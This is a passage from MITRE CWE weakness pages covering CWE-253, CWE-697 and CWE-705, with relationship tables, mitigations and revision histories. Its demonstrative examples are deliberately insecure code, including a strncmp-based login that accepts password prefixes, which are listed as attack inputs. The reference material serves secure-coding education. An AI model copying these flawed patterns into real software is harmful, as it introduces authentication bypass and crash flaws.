[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2010-01-11Gregory PadgettUnitrends
correction to Demonstrative_Example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Enabling_Factors_for_Exploitation, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2021-03-15CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improper String Length Checking

CWE-253: Incorrect Check of Function Return Value

Weakness ID: 253
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product incorrectly checks a return value from a function, which prevents it from detecting errors or exceptional conditions.
+ Extended Description
Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.389Error Conditions, Return Values, Status Codes
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Integrity

Technical Impact: Unexpected State; DoS: Crash, Exit, or Restart

An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.

(bad code)
Example Language:
tmp = malloc(sizeof(int) * 4);
if (tmp < 0 ) {
perror("Failure");
//should have checked if the call returned 0
}

The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.

+ Observed Examples
ReferenceDescription
Chain: function in web caching proxy does not correctly check a return value (CWE-253) leading to a reachable assertion (CWE-617)
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Language Selection

Use a language or compiler that uses exceptions and requires the catching of those exceptions.

Phase: Implementation

Properly check all functions which return a value.

Phase: Implementation

When designing any function make sure you return a value or throw an exception in case of an error.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.962SFP Secondary Cluster: Unchecked Status Condition
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1167SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPMisinterpreted function return value
Software Fault PatternsSFP4Unchecked Status Condition
CERT C Secure CodingERR33-CImpreciseDetect and handle standard library errors
CERT C Secure CodingPOS54-CImpreciseDetect and handle POSIX library errors
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Return Value Testing and Interpretation", Page 340. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Demonstrative_Examples
2009-03-10CWE Content TeamMITRE
updated Description, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Misinterpreted Function Return Value

CWE-697: Incorrect Comparison

Weakness ID: 697
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses.
+ Extended Description

This Pillar covers several possibilities:

  • the comparison checks one factor incorrectly;
  • the comparison should consider multiple factors, but it does not check at least one of those factors at all;
  • the comparison checks the wrong factor.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.183Permissive List of Allowed Inputs
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.185Incorrect Regular Expression
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.581Object Model Violation: Just One of Equals and Hashcode Defined
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1023Incomplete Comparison with Missing Factors
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1024Comparison of Incompatible Types
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1025Comparison Using Wrong Factors
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1039Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.1077Floating Point Comparison with Incorrect Operator
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1254Incorrect Comparison Logic Granularity
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.481Assigning instead of Comparing
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Demonstrative Examples

Example 1

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

(bad code)
Example Language: Java 
public class Truck {
private String make;
private String model;
private int year;

public boolean equals(Object o) {
if (o == null) return false;
if (o == this) return true;
if (!(o instanceof Truck)) return false;

Truck t = (Truck) o;

return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
}
}

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

Example 2

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

(bad code)
Example Language:
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */

char *username = "admin";
char *pass = "password";

int AuthenticateUser(char *inUser, char *inPass) {
if (strncmp(username, inUser, strlen(inUser))) {
logEvent("Auth failure of username using strlen of inUser");
return(AUTH_FAIL);
}
if (! strncmp(pass, inPass, strlen(inPass))) {
logEvent("Auth success of password using strlen of inUser");
return(AUTH_SUCCESS);
}
else {
logEvent("Auth fail of password using sizeof");
return(AUTH_FAIL);
}
}

int main (int argc, char **argv) {
int authResult;

if (argc < 3) {
ExitError("Usage: Provide a username and password");
}
authResult = AuthenticateUser(argv[1], argv[2]);
if (authResult == AUTH_SUCCESS) {
DoAuthenticatedTask(argv[1]);
}
else {
ExitError("Authentication failed");
}
}

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

(attack code)
 
p
pa
pas
pass

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

+ Observed Examples
ReferenceDescription
Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)
Chain: Proxy uses a substring search instead of parsing the Transfer-Encoding header (CWE-697), allowing request splitting (CWE-113) and cache poisoning
Proxy performs incorrect comparison of request headers, leading to infoleak
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.747CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1140SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar. However, sometimes this weakness is forced to be used due to the lack of in-depth weakness research. See Research Gaps.

Comments:

Where feasible, consider children or descendants of this entry instead.
+ Notes

Research Gap

Weaknesses related to this Pillar appear to be under-studied, especially with respect to classification schemes. Input from academic and other communities could help identify and resolve gaps or organizational difficulties within CWE.

Maintenance

This entry likely has some relationships with case sensitivity (CWE-178), but case sensitivity is a factor in other types of weaknesses besides comparison. Also, in cryptography, certain attacks are possible when certain comparison operations do not take place in constant time, causing a timing-related information leak (CWE-208).
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-05-27CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Observed_Examples, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Type
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-04-28CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description, Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Research_Gaps
+ Previous Entry Names
Change DatePrevious Entry Name
2018-03-27Insufficient Comparison

CWE-705: Incorrect Control Flow Scoping

Weakness ID: 705
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.248Uncaught Exception
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.382J2EE Bad Practices: Use of System.exit()
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.395Use of NullPointerException Catch to Detect NULL Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.396Declaration of Catch for Generic Exception
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.397Declaration of Throws for Generic Exception
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.455Non-exit on Failed Initialization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.584Return Inside Finally Block
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.698Execution After Redirect (EAR)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Alter Execution Logic; Other

+ Demonstrative Examples

Example 1

The following example attempts to resolve a hostname.

(bad code)
Example Language: Java 
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
String ip = req.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
...
out.println("hello " + addr.getHostName());
}

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2

This code queries a server and displays its status when a request comes from an authorized IP address.

(bad code)
Example Language: PHP 
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
echo "You are not authorized to view this page";
http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Example 3

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

(bad code)
Example Language: Java 
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
...
} catch (ApplicationSpecificException ase) {
logger.error("Caught: " + ase.toString());
System.exit(1);
}
}
+ Observed Examples
ReferenceDescription
Java code in a smartphone OS can encounter a "boot loop" due to an uncaught exception
chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.744CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.746CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.851The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.854The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.878CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.880CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1141SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1165SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1181SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingENV32-CCWE More AbstractAll exit handlers must return normally
CERT C Secure CodingERR04-CChoose an appropriate termination strategy
The CERT Oracle Secure Coding Standard for Java (2011)THI05-JDo not use Thread.stop() to terminate threads
The CERT Oracle Secure Coding Standard for Java (2011)ERR04-JDo not complete abruptly from a finally block
The CERT Oracle Secure Coding Standard for Java (2011)ERR05-JDo not let checked exceptions escape from a finally block
SEI CERT Perl Coding StandardEXP31-PLImpreciseDo not suppress or ignore exceptions
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-09-09
(CWE 1.0, 2008-09-09)
CWE Content TeamMITRE
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Observed_Examples, Relationships
2021-03-15CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
